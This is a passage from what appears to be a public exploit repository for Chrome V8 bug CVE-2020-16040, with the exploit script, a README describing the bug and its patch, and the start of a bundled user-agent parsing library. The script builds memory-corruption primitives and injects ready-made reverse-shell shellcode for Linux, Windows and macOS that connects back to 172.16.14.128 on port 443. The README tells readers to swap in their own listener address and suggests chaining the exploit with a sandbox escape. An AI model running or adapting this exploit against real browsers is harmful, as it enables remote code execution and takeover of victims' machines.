85 | } 86 | }; 87 | 88 | loadScript("getChromeVersion.js", getChromeVersion); 89 | 90 | // this function performs all exploit related activity. 91 | function exploit() { 92 | 93 | // Helper functions to convert between float and integer primitives 94 | var buf = new ArrayBuffer(8); // 8 byte array buffer 95 | var f64_buf = new Float64Array(buf); 96 | var u64_buf = new Uint32Array(buf); 97 | 98 | function ftoi(val) { // typeof(val) = float 99 | f64_buf[0] = val; 100 | return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness 101 | } 102 | 103 | function itof(val) { // typeof(val) = BigInt 104 | u64_buf[0] = Number(val & 0xffffffffn); 105 | u64_buf[1] = Number(val >> 32n); 106 | return f64_buf[0]; 107 | } 108 | 109 | 110 | //pull the trigger, leverages the bug with a typer hardening bypass to attain out-of-bounds 111 | function foo(a) { 112 | var y = 0x7fffffff; //INT_MAX 2147483647 (signed 32-bit) 113 | 114 | //Widening condition to fail the first `if` clause inside VisitSpeculativeIntegerAdditiveOp (SpecualtiveSafeIntegerAdd node). 115 | if (a == NaN) y = NaN; 116 | 117 | /* 118 | The next condition holds only in the warmup run. It leads to Smi 119 | (SignedSmall) feedback being collected for the addition below. 120 | (Gather type feedback) 121 | */ 122 | 123 | if (a) y = -1; // gather type feedback, SignedSmall 124 | let z = (y + 1) | 0; //returns -2147483648 (INT_MIN of signed 32-bit) 125 | //should return false, but got true due to 0x80000000 wrapping to INT_MIN (-2147483648) 126 | z = (0x80000000 == z); //returns boolean, true or false, is z equiv to 2147483648 (which it isn't, as it is -2147483648), but the return is true when it should be false. 127 | if (a) z = -1; //gather type feedback, SignedSmall 128 | 129 | //satisfies the CheckBounds (bounds check elimination) 130 | let l = Math.sign(z); 131 | l = l < 0 ? 0 : l; 132 | 133 | /* 134 | The JIT compiler (TurboFan) interprets l is a + num, but it is actually a - number, 135 | which satisfies the usage conditions of the arr.shift(); trick. 136 | */ 137 | 138 | //real value: 1, optimiser: Range(-1, 0) 139 | let arr = new Array(l); //new array at index length 0 140 | 141 | // arr.length = -1, leads to oob 142 | arr.shift(); 143 | 144 | //creating cor array 145 | let cor = [1.1, 1.2, 1.3]; 146 | return [arr, cor]; 147 | } 148 | 149 | // JIT-compiling the foo(); function for optimisation. 150 | for (let i = 0; i < 0x10000; i++) // arbitrary high value to ensure optimisation 151 | foo(true); 152 | console.log('[process] forcing optimisation to trigger the bug'); 153 | 154 | const ret = foo(false); 155 | var arr = ret[0]; 156 | var cor = ret[1]; 157 | 158 | // Make sure returned arr.length is -1, otherwise exit cleanly as would indicate a fail to attain OOB. 159 | if (arr.length >= 0) { 160 | abort('[error] failed to attain out-of-bounds, exploit failed from bad array length') 161 | } else { 162 | console.log('[success] out-of-bounds plausible, obtained a negative array length') 163 | } 164 | 165 | /* 166 | oob r/w primitives 167 | */ 168 | 169 | console.log('[process] attempting to overwrite the length of the corrupted array'); 170 | 171 | // we use the original OOB array (arr) to corrupt the length of the 'cor' array. 172 | arr[16] = 0x4242; // overwrites the cor array length for OOB read (16962) 173 | 174 | // make sure returned cor.length has been overwritten, otherwise exit. 175 | if (cor.length < 16962) { 176 | abort('[error] failed to overwrite the length of the second array.'); 177 | } else { 178 | console.log('[success] length of second array overwritten to ' + cor.length); 179 | } 180 | 181 | // leak float_array_map 182 | let float_array_map = ftoi(cor[3]); 183 | console.log(`[success] leaked corrupted array map at: 0x${float_array_map.toString(16)}`); 184 | 185 | // addrof primitive - takes an object and returns its address in memory. 186 | function addrof(obj) { 187 | arr[11] = obj; 188 | return ftoi(cor[2]); 189 | } 190 | 191 | // fakeobj primitive - create an object in memory which we can r/w to. 192 | function fakeobj(addr) { 193 | cor[2] = itof(addr); 194 | return arr[11]; 195 | } 196 | 197 | // for arbitrary read/write 198 | rw_arr = [itof(float_array_map), 1.1, 1.2, 1.3] 199 | fake = fakeobj(addrof(rw_arr) + 0x20n); //victim object offset 200 | 201 | // arb_read primitive 202 | function arb_read(addr) { 203 | fake = fakeobj(addrof(rw_arr) + 0x20n); //victim object offset 204 | rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); //offset 205 | return ftoi(fake[0]); 206 | } 207 | 208 | // arb_write primitive 209 | function arb_write(addr, val) { 210 | fake = fakeobj(addrof(rw_arr) + 0x20n); //victim object offset 211 | rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); //offset 212 | fake[0] = itof(val); 213 | return; 214 | } 215 | 216 | // creating an rwx segment 217 | var wasmCode = new Uint8Array([ 218 | 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 219 | 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 220 | 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 221 | 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 222 | 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 223 | 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 224 | 0x2a, 0x0b 225 | ]); 226 | 227 | var wasmModule = new WebAssembly.Module(wasmCode); 228 | var wasmInstance = new WebAssembly.Instance(wasmModule, {}); 229 | var wasm_entry = wasmInstance.exports.main; 230 | console.log('[process] creating wasm instance and fetching rwx'); 231 | 232 | // read/fetch address of the wasmInstance, apply offset to attain rwx page/segment address. 233 | let rwx = arb_read(addrof(wasmInstance) + 0x67n); //offset at 0x67, leaks rwx 234 | console.log(`[success] rwx web assembly segment at 0x${rwx}`); 235 | 236 | console.log('[process] staging the static payloads depending on target OS'); 237 | 238 | // writing shellcode to rwx 239 | function write(buf) { 240 | let tmp = new ArrayBuffer(buf.length); 241 | let view = new DataView(tmp); 242 | let backing_store_addr = addrof(tmp) + 0x13n; //backingstore of victim buffer offset changed from 0x20 to 0x13 243 | arb_write(backing_store_addr, rwx); 244 | for (let i = 0; i < buf.length; i++) { 245 | view.setUint8(i, buf[i]); 246 | } 247 | } 248 | 249 | // enumerates target OS, shellcode alters depending on the targeted environment being Windows, Linux or macOS. 250 | var getTargetOS = function() { 251 | const parser = bowser.getParser(window.navigator.userAgent); 252 | var getTargetOS = parser.getOS(); 253 | var getTargetOS = getTargetOS.name; //will output "Linux", "macOS" or "Windows" etc based on browser user agent 254 | 255 | if (getTargetOS == "Linux") { 256 | console.log('[process] target OS appears to be ' + getTargetOS + ', adapting..'); 257 | console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443'); 258 | // use Linux shellcode 259 | linuxShellcode(); 260 | } 261 | if (getTargetOS == "Windows") { 262 | console.log('[process] target OS appears to be ' + getTargetOS + ', adapting..'); 263 | console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443'); 264 | // use Windows shellcode 265 | windowsShellcode(); 266 | } 267 | if (getTargetOS == "macOS") { 268 | console.log('[process] target OS appears to be ' + getTargetOS + ', adapting..'); 269 | console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443'); 270 | // use macOS shellcode 271 | osxShellcode(); 272 | } else { 273 | abort('[error] No current support for ' + getTargetOS + ', aborting.'); 274 | } 275 | 276 | /* 277 | Additional support for other OS types here, as well as any architectural conditions 278 | to alternate between offsets and other contextual environment changes. 279 | */ 280 | 281 | }; 282 | loadScript("getTargetOS.js", getTargetOS); 283 | 284 | 285 | // reverse linux tcp shell payload: 172.16.14.128 (tcp\443) 286 | function linuxShellcode() { 287 | var shellcode = new Uint8Array([ 288 | 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 289 | 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 290 | 0x02, 0x00, 0x01, 0xbb, 0xac, 0x10, 0x0e, 0x80, 291 | 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 292 | 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 293 | 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 294 | 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 295 | 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 296 | 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 297 | 0x0f, 0x05 298 | ]); 299 | 300 | // write shellcode for it to be executed in memory 301 | write(shellcode); 302 | wasm_entry(); 303 | } 304 | 305 | 306 | // reverse windows tcp shell payload: 172.16.14.128 (tcp\443) 307 | function windowsShellcode() { 308 | var shellcode = new Uint8Array([ 309 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 310 | 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 311 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 312 | 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 313 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 314 | 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 315 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 316 | 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 317 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 318 | 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 319 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 320 | 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 321 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 322 | 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 323 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 324 | 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 325 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 326 | 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 327 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 328 | 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 329 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 330 | 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 331 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 332 | 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 333 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 334 | 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 335 | 0x5f, 0x33, 0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 336 | 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 337 | 0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 338 | 0x01, 0xbb, 0xac, 0x10, 0x0e, 0x80, 0x41, 0x54, 339 | 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 340 | 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 341 | 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 342 | 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 343 | 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 344 | 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 345 | 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 346 | 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 347 | 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 348 | 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 349 | 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 350 | 0xb8, 0x63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 351 | 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 352 | 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, 353 | 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 354 | 0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24, 355 | 0x18, 0xc6, 0x00, 0x68, 0x48, 0x89, 0xe6, 0x56, 356 | 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 357 | 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 358 | 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, 359 | 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 360 | 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x41, 0xba, 0x08, 361 | 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 362 | 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 363 | 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 364 | 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 365 | 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 366 | 0x89, 0xda, 0xff, 0xd5 367 | ]); 368 | 369 | // write shellcode for it to be executed in memory 370 | write(shellcode); 371 | wasm_entry(); 372 | } 373 | 374 | // reverse osx tcp shell payload: 172.16.14.128 (tcp\443) 375 | function osxShellcode() { 376 | var shellcode = new Uint8Array([ 377 | 0xb8, 0x61, 0x00, 0x00, 0x02, 0x6a, 0x02, 0x5f, 378 | 0x6a, 0x01, 0x5e, 0x48, 0x31, 0xd2, 0x0f, 0x05, 379 | 0x49, 0x89, 0xc4, 0x48, 0x89, 0xc7, 0xb8, 0x62, 380 | 0x00, 0x00, 0x02, 0x48, 0x31, 0xf6, 0x56, 0x48, 381 | 0xbe, 0x02, 0x00, 0x01, 0xbb, 0xac, 0x10, 0x0e, 382 | 0x80, 0x56, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 383 | 0x0f, 0x05, 0x4c, 0x89, 0xe7, 0xb8, 0x5a, 0x00, 384 | 0x00, 0x02, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 385 | 0x00, 0x0f, 0x05, 0xb8, 0x5a, 0x00, 0x00, 0x02, 386 | 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00, 0x00, 0x0f, 387 | 0x05, 0xb8, 0x5a, 0x00, 0x00, 0x02, 0x48, 0xc7, 388 | 0xc6, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 389 | 0x31, 0xc0, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0xe8, 390 | 0x09, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 391 | 0x2f, 0x73, 0x68, 0x00, 0x00, 0x5f, 0x48, 0x31, 392 | 0xd2, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 393 | ]); 394 | 395 | // write shellcode for it to be executed in memory 396 | write(shellcode); 397 | wasm_entry(); 398 | } 399 | } 400 | 401 | -------------------------------------------------------------------------------- /CVE-2020-16040/README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |
4 | Typing SVG 5 |
6 |

7 | 8 | ## Overview 9 | 10 | ```text 11 | [compiler] Fix a bug in SimplifiedLowering 12 | 13 | SL's VisitSpeculativeIntegerAdditiveOp was setting Signed32 as 14 | restriction type even when relying on a Word32 truncation in 15 | order to skip the overflow check. This is not sound. 16 | ``` 17 | Reference(s): 18 | [chromium bug tracker](http://crbug.com/1150649) | [commit ba1b2cc](https://github.com/v8/v8/commit/ba1b2cc) | [patch diff](https://github.com/v8/v8/commit/ba1b2cc#diff-c962d253ffc68e1fafb3bc2c285f94b121aab2551fe7f7c9a99bb84a032c03b1) 19 | 20 | To summarise, the problem was due to a mis-typing of nodes despite the value wrapping/overflowing. Which allowed for a typer hardening bypass to achieve out- of-bounds r/w primitives, leading to arbitrary remote code execution within the renderer's process. Affects Chrome versions `<=87.0.4280.88`. 21 | 22 | For testing, the shellcode will need to be altered to your own internal `LHOST` IP address and desired port, 23 | alternatively you can statically set your VM IP to `172.16.14.128` and catch the reverse shell on `tcp\443`. 24 | 25 | Not currently chained with a sandbox escape `--no-sandbox` only. 26 | 27 | A debug version of this exploit has been included within [debug/debug.js](https://github.com/ret2eax/exploits/blob/main/CVE-2020-16040/debug/debug.js) for testing and debugging purposes against a local `./d8` build. 28 | 29 | You can read my full analysis and exploitation write-up here. 30 | 31 | #### Improvement Considerations: 32 | 33 | * Chain w/ Mojo IPC binding sandbox escape for a full-chain exploit. 34 | * Validate reliability in the event of; 35 | 1. unexpected garbage collection (GC) events, 36 | 2. layout of the heap changes, 37 | 3. hardcoded offsets that can be removed in favour of dynamically scanning for values (if any)? 38 | 39 | ## Skipped Overflow Check 40 | 41 | ```cpp 42 | bool CanOverflowSigned32(const Operator* op, Type left, Type right, 43 | Zone* type_zone) { 44 | left = Type::Intersect(left, Type::Signed32(), type_zone); 45 | right = Type::Intersect(right, Type::Signed32(), type_zone); 46 | if (left.IsNone() || right.IsNone()) return false; 47 | switch (op->opcode()) { 48 | case IrOpcode::kSpeculativeSafeIntegerAdd: 49 | return (left.Max() + right.Max() > kMaxInt) || 50 | (left.Min() + right.Min() < kMinInt); 51 | case IrOpcode::kSpeculativeSafeIntegerSubtract: 52 | return (left.Max() - right.Min() > kMaxInt) || 53 | (left.Min() - right.Max() < kMinInt); 54 | default: 55 | UNREACHABLE(); 56 | } 57 | return true; 58 | } 59 | ``` 60 | 61 | ## The Patch 62 | 63 | In reference to the patch diff, we can see that the changes made, specifically that of the `RepresentationSelector` class in `simplified-lowering.cc`, ensures that the typing system handles overflows and wrapping conditions adequately. The important modification here, in this context, is the introduction of a new restriction type that manages the type constraints during certain operations, particularly those in respect of `Word32` truncations: 64 | 65 | ```c++ 66 | Type const restriction = truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32(); 67 | ``` 68 | 69 | The new restriction type defined is used conditionally, depending on the truncation context, ensuring that the typing system accounts for these conditions more accurately, thus mitigating this bug. 70 | 71 | ### Patch Diff (Includes Regression) 72 | 73 | ```diff 74 | diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc 75 | index a1f10f98fe5..ef56d56e447 100644 76 | --- a/src/compiler/simplified-lowering.cc 77 | +++ b/src/compiler/simplified-lowering.cc 78 | @@ -1409,7 +1409,6 @@ class RepresentationSelector { 79 | IsSomePositiveOrderedNumber(input1_type) 80 | ? CheckForMinusZeroMode::kDontCheckForMinusZero 81 | : CheckForMinusZeroMode::kCheckForMinusZero; 82 | - 83 | NodeProperties::ChangeOp(node, simplified()->CheckedInt32Mul(mz_mode)); 84 | } 85 | 86 | @@ -1453,6 +1452,13 @@ class RepresentationSelector { 87 | 88 | Type left_feedback_type = TypeOf(node->InputAt(0)); 89 | Type right_feedback_type = TypeOf(node->InputAt(1)); 90 | + 91 | + // Using Signed32 as restriction type amounts to promising there won't be 92 | + // signed overflow. This is incompatible with relying on a Word32 93 | + // truncation in order to skip the overflow check. 94 | + Type const restriction = 95 | + truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32(); 96 | + 97 | // Handle the case when no int32 checks on inputs are necessary (but 98 | // an overflow check is needed on the output). Note that we do not 99 | // have to do any check if at most one side can be minus zero. For 100 | @@ -1466,7 +1472,7 @@ class RepresentationSelector { 101 | right_upper.Is(Type::Signed32OrMinusZero()) && 102 | (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) { 103 | VisitBinop(node, UseInfo::TruncatingWord32(), 104 | - MachineRepresentation::kWord32, Type::Signed32()); 105 | + MachineRepresentation::kWord32, restriction); 106 | } else { 107 | // If the output's truncation is identify-zeros, we can pass it 108 | // along. Moreover, if the operation is addition and we know the 109 | @@ -1486,8 +1492,9 @@ class RepresentationSelector { 110 | UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), 111 | kIdentifyZeros); 112 | VisitBinop(node, left_use, right_use, MachineRepresentation::kWord32, 113 | - Type::Signed32()); 114 | + restriction); 115 | } 116 | + 117 | if (lower()) { 118 | if (truncation.IsUsedAsWord32() || 119 | !CanOverflowSigned32(node->op(), left_feedback_type, 120 | diff --git a/test/mjsunit/compiler/regress-1150649.js b/test/mjsunit/compiler/regress-1150649.js 121 | new file mode 100644 122 | index 00000000000..a193481a3a2 123 | --- /dev/null 124 | +++ b/test/mjsunit/compiler/regress-1150649.js 125 | @@ -0,0 +1,24 @@ 126 | +// Copyright 2020 the V8 project authors. All rights reserved. 127 | +// Use of this source code is governed by a BSD-style license that can be 128 | +// found in the LICENSE file. 129 | + 130 | +// Flags: --allow-natives-syntax 131 | + 132 | +function foo(a) { 133 | + var y = 0x7fffffff; // 2^31 - 1 134 | + 135 | + // Widen the static type of y (this condition never holds). 136 | + if (a == NaN) y = NaN; 137 | + 138 | + // The next condition holds only in the warmup run. It leads to Smi 139 | + // (SignedSmall) feedback being collected for the addition below. 140 | + if (a) y = -1; 141 | + 142 | + const z = (y + 1)|0; 143 | + return z < 0; 144 | +} 145 | + 146 | +%PrepareFunctionForOptimization(foo); 147 | +assertFalse(foo(true)); 148 | +%OptimizeFunctionOnNextCall(foo); 149 | +assertTrue(foo(false)); 150 | ``` 151 | 152 | -------------------------------------------------------------------------------- /CVE-2020-16040/bowser.js: -------------------------------------------------------------------------------- 1 | ! function(e, t) { 2 | "object" == typeof exports && "object" == typeof module ? module.exports = t() : "function" == typeof define && define.amd ? define([], t) : "object" == typeof exports ? exports.bowser = t() : e.bowser = t() 3 | }(this, function() { 4 | return function(e) { 5 | var t = {}; 6 | 7 | function r(n) { 8 | if (t[n]) return t[n].exports; 9 | var i = t[n] = { 10 | i: n, 11 | l: !1, 12 | exports: {} 13 | }; 14 | return e[n].call(i.exports, i, i.exports, r), i.l = !0, i.exports 15 | } 16 | return r.m = e, r.c = t, r.d = function(e, t, n) { 17 | r.o(e, t) || Object.defineProperty(e, t, { 18 | enumerable: !0, 19 | get: n 20 | }) 21 | }, r.r = function(e) { 22 | "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { 23 | value: "Module" 24 | }), Object.defineProperty(e, "__esModule", { 25 | value: !0 26 | }) 27 | }, r.t = function(e, t) { 28 | if (1 & t && (e = r(e)), 8 & t) return e; 29 | if (4 & t && "object" == typeof e && e && e.__esModule) return e; 30 | var n = Object.create(null); 31 | if (r.r(n), Object.defineProperty(n, "default", { 32 | enumerable: !0, 33 | value: e 34 | }), 2 & t && "string" != typeof e) 35 | for (var i in e) r.d(n, i, function(t) { 36 | return e[t] 37 | }.bind(null, i)); 38 | return n 39 | }, r.n = function(e) { 40 | var t = e && e.__esModule ? function() { 41 | return e.default 42 | } : function() { 43 | return e 44 | }; 45 | return r.d(t, "a", t), t 46 | }, r.o = function(e, t) { 47 | return Object.prototype.hasOwnProperty.call(e, t) 48 | }, r.p = "", r(r.s = 86) 49 | }({ 50 | 17: function(e, t, r) { 51 | var n, i, s; 52 | i = [t, r(89)], void 0 === (s = "function" == typeof(n = function(r, n) { 53 | "use strict"; 54 | 55 | function i(e, t) { 56 | for (var r = 0; r < t.length; r++) { 57 | var n = t[r]; 58 | n.enumerable = n.enumerable || !1, n.configurable = !0, "value" in n && (n.writable = !0), Object.defineProperty(e, n.key, n) 59 | } 60 | } 61 | Object.defineProperty(r, "__esModule", { 62 | value: !0 63 | }), r.default = void 0; 64 | var s = function() { 65 | function e() { 66 | ! function(e, t) { 67 | if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function") 68 | }(this, e) 69 | } 70 | return t = e, s = [{ 71 | key: "getFirstMatch", 72 | value: function(e, t) { 73 | var r = t.match(e); 74 | return r && r.length > 0 && r[1] || "" 75 | } 76 | }, { 77 | key: "getSecondMatch", 78 | value: function(e, t) { 79 | var r = t.match(e); 80 | return r && r.length > 1 && r[2] || "" 81 | } 82 | }, { 83 | key: "matchAndReturnConst", 84 | value: function(e, t, r) { 85 | if (e.test(t)) return r 86 | } 87 | }, { 88 | key: "getWindowsVersionName", 89 | value: function(e) { 90 | switch (e) { 91 | case "NT": 92 | return "NT"; 93 | case "XP": 94 | return "XP"; 95 | case "NT 5.0": 96 | return "2000"; 97 | case "NT 5.1": 98 | return "XP"; 99 | case "NT 5.2": 100 | return "2003"; 101 | case "NT 6.0": 102 | return "Vista"; 103 | case "NT 6.1": 104 | return "7"; 105 | case "NT 6.2": 106 | return "8"; 107 | case "NT 6.3": 108 | return "8.1"; 109 | case "NT 10.0": 110 | return "10"; 111 | default: 112 | return 113 | } 114 | } 115 | }, { 116 | key: "getAndroidVersionName", 117 | value: function(e) { 118 | var t = e.split(".").splice(0, 2).map(function(e) { 119 | return parseInt(e, 10) || 0 120 | }); 121 | if (t.push(0), !(1 === t[0] && t[1] < 5)) return 1 === t[0] && t[1] < 6 ? "Cupcake" : 1 === t[0] && t[1] >= 6 ? "Donut" : 2 === t[0] && t[1] < 2 ? "Eclair" : 2 === t[0] && 2 === t[1] ? "Froyo" : 2 === t[0] && t[1] > 2 ? "Gingerbread" : 3 === t[0] ? "Honeycomb" : 4 === t[0] && t[1] < 1 ? "Ice Cream Sandwich" : 4 === t[0] && t[1] < 4 ? "Jelly Bean" : 4 === t[0] && t[1] >= 4 ? "KitKat" : 5 === t[0] ? "Lollipop" : 6 === t[0] ? "Marshmallow" : 7 === t[0] ? "Nougat" : 8 === t[0] ? "Oreo" : void 0 122 | } 123 | }, { 124 | key: "getVersionPrecision", 125 | value: function(e) { 126 | return e.split(".").length 127 | } 128 | }, { 129 | key: "compareVersions", 130 | value: function(t, r) { 131 | var n = arguments.length > 2 && void 0 !== arguments[2] && arguments[2], 132 | i = e.getVersionPrecision(t), 133 | s = e.getVersionPrecision(r), 134 | a = Math.max(i, s), 135 | o = 0, 136 | u = e.map([t, r], function(t) { 137 | var r = a - e.getVersionPrecision(t), 138 | n = t + new Array(r + 1).join(".0"); 139 | return e.map(n.split("."), function(e) { 140 | return new Array(20 - e.length).join("0") + e 141 | }).reverse() 142 | }); 143 | for (n && (o = a - Math.min(i, s)), a -= 1; a >= o;) { 144 | if (u[0][a] > u[1][a]) return 1; 145 | if (u[0][a] === u[1][a]) { 146 | if (a === o) return 0; 147 | a -= 1 148 | } else if (u[0][a] < u[1][a]) return -1 149 | } 150 | } 151 | }, { 152 | key: "map", 153 | value: function(e, t) { 154 | var r, n = []; 155 | if (Array.prototype.map) return Array.prototype.map.call(e, t); 156 | for (r = 0; r < e.length; r += 1) n.push(t(e[r])); 157 | return n 158 | } 159 | }, { 160 | key: "getBrowserAlias", 161 | value: function(e) { 162 | return n.BROWSER_ALIASES_MAP[e] 163 | } 164 | }], (r = null) && i(t.prototype, r), s && i(t, s), e; 165 | var t, r, s 166 | }(); 167 | r.default = s, e.exports = t.default 168 | }) ? n.apply(t, i) : n) || (e.exports = s) 169 | }, 170 | 86: function(e, t, r) { 171 | var n, i, s; 172 | i = [t, r(87)], void 0 === (s = "function" == typeof(n = function(r, n) { 173 | "use strict"; 174 | 175 | function i(e, t) { 176 | for (var r = 0; r < t.length; r++) { 177 | var n = t[r]; 178 | n.enumerable = n.enumerable || !1, n.configurable = !0, "value" in n && (n.writable = !0), Object.defineProperty(e, n.key, n) 179 | } 180 | } 181 | var s; 182 | Object.defineProperty(r, "__esModule", { 183 | value: !0 184 | }), r.default = void 0, n = (s = n) && s.__esModule ? s : { 185 | default: s 186 | }; 187 | var a = function() { 188 | function e() { 189 | ! function(e, t) { 190 | if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function") 191 | }(this, e) 192 | } 193 | return t = e, s = [{ 194 | key: "getParser", 195 | value: function(e) { 196 | var t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1]; 197 | if ("string" != typeof e) throw new Error("UserAgent should be a string"); 198 | return new n.default(e, t) 199 | } 200 | }, { 201 | key: "parse", 202 | value: function(e) { 203 | return new n.default(e).getResult() 204 | } 205 | }], (r = null) && i(t.prototype, r), s && i(t, s), e; 206 | var t, r, s 207 | }(); 208 | r.default = a, e.exports = t.default 209 | }) ? n.apply(t, i) : n) || (e.exports = s) 210 | }, 211 | 87: function(e, t, r) { 212 | var n, i, s; 213 | i = [t, r(88), r(90), r(91), r(92), r(17)], void 0 === (s = "function" == typeof(n = function(r, n, i, s, a, o) { 214 | "use strict"; 215 | 216 | function u(e) { 217 | return e && e.__esModule ? e : { 218 | default: e 219 | } 220 | } 221 | 222 | function 